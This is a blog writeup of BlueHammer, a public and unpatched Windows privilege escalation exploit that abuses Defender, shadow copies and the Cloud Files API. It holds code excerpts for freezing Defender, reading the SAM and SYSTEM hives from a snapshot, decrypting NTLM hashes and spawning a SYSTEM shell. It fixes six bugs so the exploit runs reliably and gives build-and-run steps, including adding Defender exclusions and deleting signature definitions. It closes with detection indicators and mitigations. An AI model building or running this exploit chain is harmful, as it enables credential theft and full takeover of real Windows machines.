~/cyb3r-w0lf
A researcher dropped a fully working local privilege escalation PoC that turns Windows Defender against itself — but shipped it with acknowledged bugs. This is a detailed walkthrough of the exploit chain and every fix required to make it run reliably end-to-end.
FunnyApp.cpp) contained six confirmed bugs — two critical, one build-breaking, and three minor — that prevented reliable execution. All are documented and fixed in this writeup.windefend_s.c) in the Visual Studio project — causing duplicate symbol linker errors and blocking compilation entirely.On April 3, 2026, a researcher operating under the alias "Chaotic Eclipse" published a fully functional Windows local privilege escalation exploit to GitHub. The accompanying message to Microsoft's Security Response Center was blunt: "I was not bluffing Microsoft, and I'm doing it again."
The exploit, named BlueHammer, had no coordinated disclosure timeline, no CVE assignment, and no patch. Microsoft's only public response was a statement that it "supports coordinated vulnerability disclosure" — notable given how uncoordinated the disclosure actually was. The researcher later explained the public drop followed MSRC allegedly dismissing the report after demanding a video demonstration that the researcher declined to provide.
The README on the public repository made an important acknowledgement: "There are few bugs in the PoC that could prevent it from working." That was the starting point for this research — read the code, find the bugs, fix them, and understand the exploit chain in full.
Scope: This is a security research writeup on a public, unpatched zero-day. All analysis was conducted in an isolated VM environment. The vulnerability is real, unpatched, and confirmed functional by independent researchers including Will Dormann of Tharros.
What makes BlueHammer unusual is its attack surface. This is not a traditional memory corruption exploit. There is no shellcode, no heap spray, no kernel vulnerability being triggered. Instead, the exploit orchestrates four legitimate, documented Windows subsystems into a precise timing chain that was never intended to be combined this way. The architecture itself is the vulnerability.
The goal is to reach NT AUTHORITY\SYSTEM from a low-privileged user account. Here is the full chain at a high level:
Each of these phases has non-trivial implementation behind it. Let's walk through the key technical components before getting to the bugs.
Windows Defender exposes an internal RPC interface identified by UUID c503f532-443a-4c69-8300-ccd1fbdb3839, version 2.0. The interface is bound over ALPC using the named pipe IMpService77BDAF73-B396-481F-9042-AD358843EC24. The MIDL definition in windefend.idl declares 64+ procedures, but the one BlueHammer cares about is procedure 42:
/* Proc42 — triggers WD to consume an update from a caller-specified path */
long Proc42_ServerMpUpdateEngineSignature(
[in] long arg_1,
[in][string] wchar_t* arg_2, /* path to update directory */
[out] error_status_t* arg_3);
The client-side RPC stub is auto-generated by MIDL into windefend_c.c. The call in wmain binds a handle over RPC, then calls:
error_status_t errstat;
Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat);
/* args->dirpath points to the Object Manager symlink-redirected path */
Before the RPC call is made, the exploit uses undocumented NT Object Manager APIs to redirect Defender's expected update directory path through a symlink in the object namespace. This is what lets the exploit supply its own update files — the ones downloaded from Microsoft and extracted from the .rsrc section of MpSigStub.exe — instead of legitimate ones.
/* Create a new object directory to host the symlink */
_NtCreateDirectoryObjectEx(&hDir, DIRECTORY_ALL_ACCESS,
&objAttrDir, hBaseDir, 0);
/* Create a symlink pointing WD's expected path to our update directory */
_NtCreateSymbolicLinkObject(&hLink, SYMBOLIC_LINK_ALL_ACCESS,
&objAttrLink, &targetPath);
/* After VSS window opens: swap the symlink to the SAM hive path,
then use CreateFileTransacted + RollbackTransaction to open it
without leaving filesystem artifacts */
The legitimate Defender update is fetched from https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64 (MpSigStub.exe). The exploit then parses the PE in memory, locates the .rsrc section, extracts an embedded update.cab, and uses the FDI (File Decompression Interface) library to unpack the update files entirely in memory — never touching disk with the raw CAB.
The FDI callbacks (CUST_FNOPEN, CUST_FNSEEK, CUST_FNREAD, CUST_FNWRITE, CUST_FNCLOSE) operate on an in-memory buffer via a custom CabOpArgs struct rather than real file handles. This is where Bug 1 lived.
During certain scan and remediation workflows, Microsoft Defender creates a temporary Volume Shadow Copy (VSS) snapshot. BlueHammer exploits this behavior intentionally. To trigger it, the exploit:
1. Drops a reversed EICAR string to a temp file to bait Defender into scanning. 2. Opens RstrtMgr.dll with FSCTL_REQUEST_BATCH_OPLOCK as a tripwire — when Defender accesses this DLL (which it does during remediation), the oplock break signals that Defender is active and a shadow copy is likely being created. 3. A background thread continuously polls \\Device via NtQueryDirectoryObject watching for new HarddiskVolumeShadowCopyN device entries to appear.
/* Continuously poll \Device object directory for new VSS entries */
while (running) {
NtQueryDirectoryObject(hDevice, buf, bufLen, FALSE, FALSE, &ctx, &retLen);
/* compare against previously recorded HarddiskVolumeShadowCopy* entries */
if (newShadowFound)
SetEvent(hShadowEvent); /* signal main thread */
Sleep(100);
}
Once the shadow copy is confirmed mounted, the exploit needs to hold Defender in a frozen state long enough to read the registry hives from the snapshot. This is done using the Windows Cloud Files (CF) API — the same subsystem that powers OneDrive's on-demand sync placeholders.
/* Register current directory as a Cloud Files sync root */
CfRegisterSyncRoot(syncRootPath, ®Info, nullptr, CF_REGISTER_FLAG_NONE);
/* Connect with callback for FETCH_PLACEHOLDERS */
CfConnectSyncRoot(syncRootPath, &cbTable, nullptr, CF_CONNECT_FLAG_NONE, &hConn);
/* Drop a .lock placeholder file — Defender will try to enumerate it */
CfCreatePlaceholders(syncRootPath, &phInfo, 1, CF_CREATE_FLAG_NONE, &processed);
/* In the FetchPlaceholders callback: when the requesting PID is WinDefend,
immediately grab a second batch oplock on the .lock file.
The callback never returns — Defender blocks on GetOverlappedResult()
waiting for a CF response that never comes. */
DeviceIoControl(hLock, FSCTL_REQUEST_BATCH_OPLOCK, nullptr, 0, ...);
GetOverlappedResult(hLock, &ovd, &nwf, TRUE); /* Defender is now frozen here */
With Defender's scan thread stuck waiting for a Cloud Files response that is intentionally withheld, the VSS snapshot stays mounted and the registry hives remain accessible under a path like:
\Device\HarddiskVolumeShadowCopy12\Windows\System32\Config\SAM
\Device\HarddiskVolumeShadowCopy12\Windows\System32\Config\SYSTEM
\Device\HarddiskVolumeShadowCopy12\Windows\System32\Config\SECURITY
These files are normally locked exclusively by the registry subsystem at runtime. Inside a VSS snapshot they are readable — and because Defender is frozen, there is no cleanup racing against the reads.
The SAM and SYSTEM hives are opened without the Windows registry API using Microsoft's offreg.lib (Offline Registry Library), which avoids the locking semantics of the live registry stack entirely:
ORHKEY hSam, hSys;
OROpenHiveByHandle(hSamFile, &hSam);
OROpenHiveByHandle(hSysFile, &hSys);
/* Navigate to SAM\Domains\Account\Users\Names to enumerate accounts */
ORHKEY hUsers;
OROpenKey(hSam, L"SAM\\Domains\\Account\\Users", &hUsers);
OREnumKey(hUsers, idx, subKeyName, &nameLen, nullptr, nullptr, nullptr);
The NTLM hashes stored in the SAM hive are encrypted with a key derived from the LSA boot key, which is itself stored fragmented across four registry key class names (not values) in the SYSTEM hive:
/* The boot key is stored as the *class name* of these four keys: */
const char* keys[] = { "JD", "Skew1", "GBG", "Data" };
/* Path: SYSTEM\CurrentControlSet\Control\Lsa\{JD,Skew1,GBG,Data} */
char data[33] = {};
for (int i = 0; i < 4; i++) {
RegQueryInfoKeyA(hKey, classNameBuf, &classLen, ...);
strcat(data, classNameBuf); /* concatenate hex fragments */
}
/* Decode hex string → 16 bytes, then permute with fixed index table: */
int idx[] = { 8,5,4,2,11,9,13,3,0,6,1,12,14,10,15,7 };
for (int i = 0; i < 16; i++)
lsakey[i] = tmp[idx[i]]; /* produces 16-byte boot key */
With the boot key in hand, the decrypt chain follows the standard Impacket-style path:
| Step | Algorithm | Input | Output |
|---|---|---|---|
| 1 | AES-128-CBC (CALG_AES_128) | Boot key + PEK ciphertext from SAM | Password Encryption Key (PEK) |
| 2 | AES-128-CBC | PEK + per-hash ciphertext | Intermediate hash value |
| 3 | DES-ECB (two-key) | Intermediate + RID bytes via DeriveDESKey | Final 16-byte NTLM hash |
With NTLM hashes decrypted, the exploit calls ChangeUserPassword → dynamically loads samlib.dll → calls SamiChangePasswordUser to temporarily replace a local administrator's password. It then calls LogonUserEx / CreateProcessWithLogonW to impersonate the admin token.
From the admin token, DoSpawnShellAsAllUsers creates a temporary Windows service (CreateService + StartService) that runs the exploit binary again with a session ID argument. When re-launched as SYSTEM via the service, the code enters LaunchConsoleInSessionId — which duplicates the SYSTEM token, stamps it with the target session ID, and spawns conhost.exe via CreateProcessAsUser: a SYSTEM shell delivered to the user's desktop.
Before exiting, the original password hash is restored — leaving no obvious forensic trace of the account manipulation.
The public PoC contained exactly six bugs across two files. Here is the full analysis of each.
The custom FDI seek callback implements three seek modes (SEEK_SET, SEEK_CUR, SEEK_END) operating on an in-memory buffer via a CabOpArgs struct. The SEEK_END branch was wrong — it ignored the offset parameter entirely and added FileSize to the current position instead of setting position relative to the end of the file.
Standard lseek(fd, offset, SEEK_END) semantics: new_pos = FileSize + offset. The bug meant every SEEK_END call produced a garbage position, silently corrupting all subsequent reads from the CAB. The CAB extraction would appear to succeed but produce invalid output, causing the entire update spoofing chain to fail.
if (origin == SEEK_END)
CabOpArgs->ptroffset +=
CabOpArgs->FileSize;
// ignores `offset` param entirely
// adds FileSize to current pos
if (origin == SEEK_END)
CabOpArgs->ptroffset =
CabOpArgs->FileSize + offset;
// standard lseek SEEK_END semantics
// position = FileSize + offset
When the concatenated boot key hex string is shorter than 32 characters — 16 bytes hex-encoded, 2 chars per byte — (indicating a malformed or missing registry class name), the function is supposed to signal failure to the caller. The caller checks if (!GetLSASecretKey(lsakey)) and aborts if it returns false.
The original code returned 1 on the error path. In C++, 1 is truthy — so !GetLSASecretKey() evaluated to false, the error was swallowed, execution continued with lsakey left as a zero-filled buffer, and all subsequent NTLM hash decryption produced garbage output silently. Effectively: boot key failure became an invisible bug that produced meaningless hash data.
if (strlen(data) < 16) {
printf("Boot key mismatch.");
return 1; // truthy — caller's
// !check never fires
}
if (strlen(data) < 32) {
printf("Boot key mismatch.");
return false; // correctly signals
// failure to caller
}
After closing hint2 (a WinINet handle), the code sets hint to NULL instead of hint2. This leaves hint2 as a stale non-null dangling pointer. Any later check that tests if (hint2) to decide whether to close it will see a non-null value and attempt a double-free or use-after-free on the already-closed handle.
InternetCloseHandle(hint2);
hint = NULL; // wrong pointer nulled
InternetCloseHandle(hint2);
hint2 = NULL; // null the correct handle
In the cleanup/exit path, both internet handles are supposed to be closed. The second conditional checks hint again instead of hint2, so hint2 is leaked on every exit path through that block.
if (hint)
InternetCloseHandle(hint);
if (hint) // hint again!
InternetCloseHandle(hint2); // hint2 leaked
if (hint)
InternetCloseHandle(hint);
if (hint2) // correct guard
InternetCloseHandle(hint2);
The function allocates a size * 2 + 1 byte buffer (hex encoding doubles length, plus null terminator) but then zeroes only size + 1 bytes. The upper half of the output buffer is uninitialized. For short inputs the garbage may be masked by the null terminator, but for longer inputs the hex string can contain uninitialized memory bytes, leading to incorrect hash string representation.
unsigned char* retval =
(unsigned char*)malloc(size * 2 + 1);
ZeroMemory(retval, size + 1);
// only zeroes half the buffer
unsigned char* retval =
(unsigned char*)malloc(size * 2 + 1);
ZeroMemory(retval, size * 2 + 1);
// zero the full allocated buffer
The Visual Studio project file listed both windefend_c.c (the RPC client stub) and windefend_s.c (the RPC server stub) in the <ClCompile> item group. The server stub is MIDL-generated for the Windows Defender service side — it expects server-side handler implementations that simply don't exist in the exploit project. Including it causes duplicate symbol definitions for every RPC procedure stub and multiple unresolved external symbol linker errors. The project cannot compile at all with both stubs included.
<ItemGroup>
<ClCompile Include="FunnyApp.cpp" />
<ClCompile Include="windefend_c.c" />
<ClCompile Include="windefend_s.c" />
<!-- server stub — causes linker errors -->
</ItemGroup>
<ItemGroup>
<ClCompile Include="FunnyApp.cpp" />
<ClCompile Include="windefend_c.c" />
<!-- windefend_s.c removed -->
</ItemGroup>
The project requires Visual Studio 2022 with the Desktop Development with C++ workload, the Windows 11 SDK (10.0.22621.0 or later), and offreg.lib from the Windows Driver Kit (WDK). The MIDL-generated RPC stubs (windefend_c.c, windefend_h.h) are already included in the repository. Do not regenerate them from the IDL unless you also regenerate windefend_h.h to match.
# 1. Clone the repository
git clone https://github.com/Nightmare-Eclipse/BlueHammer
cd BlueHammer
# 2. Add Defender exclusion for the repo folder (required — Defender will flag the binary)
Add-MpPreference -ExclusionPath "$PWD"
Add-MpPreference -ExclusionPath "$PWD\x64\Release"
# 3. Apply all six bug fixes to FunnyApp.cpp and FunnyApp.vcxproj
# (as documented above — including removing windefend_s.c from the vcxproj)
# 4. Open FunnyApp.vcxproj in Visual Studio 2022
# Make sure the WDK offreg.lib path is configured under:
# Project → Properties → Linker → Input → Additional Dependencies
# Build → x64 Release
# Output: x64\Release\FunnyApp.exe
# 5. Set up the test condition: WD signatures must be out-of-date
# The exploit's CheckForWDUpdates loop will halt immediately if signatures are current.
#
# Option A: Disconnect the test VM from the internet for 24+ hours and wait for
# signatures to go stale (most reliable).
#
# Option B: Remove current definitions so WD registers a pending update immediately.
$wdPath = "$env:ProgramFiles\Windows Defender"
& "$wdPath\MpCmdRun.exe" -RemoveDefinitions -All
# Verify WD now reports out-of-date signatures (AntivirusSignatureAge should be > 0)
Get-MpComputerStatus | Select-Object AntivirusSignatureLastUpdated, AntivirusSignatureAge
# 6. Run the fixed exploit as a low-privileged user
.\x64\Release\FunnyApp.exe
Update check loop: CheckForWDUpdates uses the Windows Update COM API and loops with 30-second sleep intervals until a pending Defender signature update is found. If signatures are current, the exploit halts there. The exploit requires an out-of-date WD signature state to trigger the VSS-creating remediation workflow. Disconnecting the test VM from the internet for 24+ hours is the most reliable way to create this condition.
| Layer | Indicator | Notes |
|---|---|---|
| Defender Signature | Exploit:Win32/DfndrPEBluHmr.BB | Detects the original unmodified PoC binary. Hash-based — trivially bypassed by recompiling. |
| RPC / ALPC | Unsigned binary calling Proc42_ServerMpUpdateEngineSignature over pipe IMpService* | High-fidelity — legitimate callers are rare and known. |
| VSS | New HarddiskVolumeShadowCopy created outside of Windows Update or backup context | Combine with Defender scan event for correlation. |
| Cloud Files API | CfConnectSyncRoot + CfRegisterSyncRoot called by non-OneDrive/Dropbox process | ETW provider: Microsoft-Windows-StorageSpaces-Driver |
| Object Manager | NtCreateSymbolicLinkObject + NtCreateDirectoryObjectEx from low-privilege process | Requires kernel ETW or user-mode API hooking. |
| SAM / SYSTEM access | File open on \Device\HarddiskVolumeShadowCopy*\...\Config\SAM | Very high signal — no legitimate user-mode process should do this. |
| Service creation | Ephemeral service created and deleted within seconds | Classic SYSTEM shell technique, well-detected by EDR. |
| samlib.dll load | Unexpected process loading samlib.dll + calling SamiChangePasswordUser | Correlate with subsequent LogonUserEx for the same account. |
There is currently no patch. Microsoft has not assigned a CVE or issued any advisory. The vulnerability lives in the architectural interaction between four Windows subsystems — patching it requires changing behavior in at least one of: VSS snapshot creation timing during Defender workflows, Cloud Files callback trust boundaries, or oplock semantics during AV scan operations. None of these are trivial changes.
Practical mitigations while unpatched: Ensure SYSTEM-level EDR coverage is deployed (not just Defender). Monitor for the high-fidelity indicators above, especially SAM access from shadow copy paths and unsanctioned samlib.dll loads. Privilege access workstations (PAWs) and tiered admin models reduce the blast radius even if LPE succeeds. Ransomware operators will weaponize this. Patch watch is critical.
BlueHammer is a striking example of a class of vulnerabilities that are becoming more common as Windows subsystems grow more interconnected: the vulnerability doesn't live in any single component, but in the gap between them. Windows Defender, VSS, Cloud Files, and oplocks all function exactly as documented individually. It's their interaction under specific timing conditions that creates the attack surface.
From a code quality perspective, the six bugs in the public PoC are instructive. The two critical bugs — the broken SEEK_END and the truthy error return from GetLSASecretKey — are both silent failures. Neither would have thrown an exception or printed a visible error. Without careful reading of the logic, both would have been extremely difficult to diagnose from runtime behavior alone. The build-breaking server stub bug is the kind of mistake that happens when a researcher publishes quickly without a clean build verification step.
The researcher acknowledged the published code contains bugs that may affect reliability and noted he may fix them later. After resolving all six issues, the exploit runs end-to-end against patched Windows 10 and 11: low-privileged user → NT AUTHORITY\SYSTEM in under a minute, with no kernel bug and no administrative rights required to start.
— Bug analysis conclusion
The broader takeaway: modern privilege escalation doesn't always require a memory safety bug. Sometimes the architecture is the vulnerability. And when a researcher drops working exploit code publicly with no patch in sight, the gap between "public PoC" and "operational weapon" is measured in days, not months.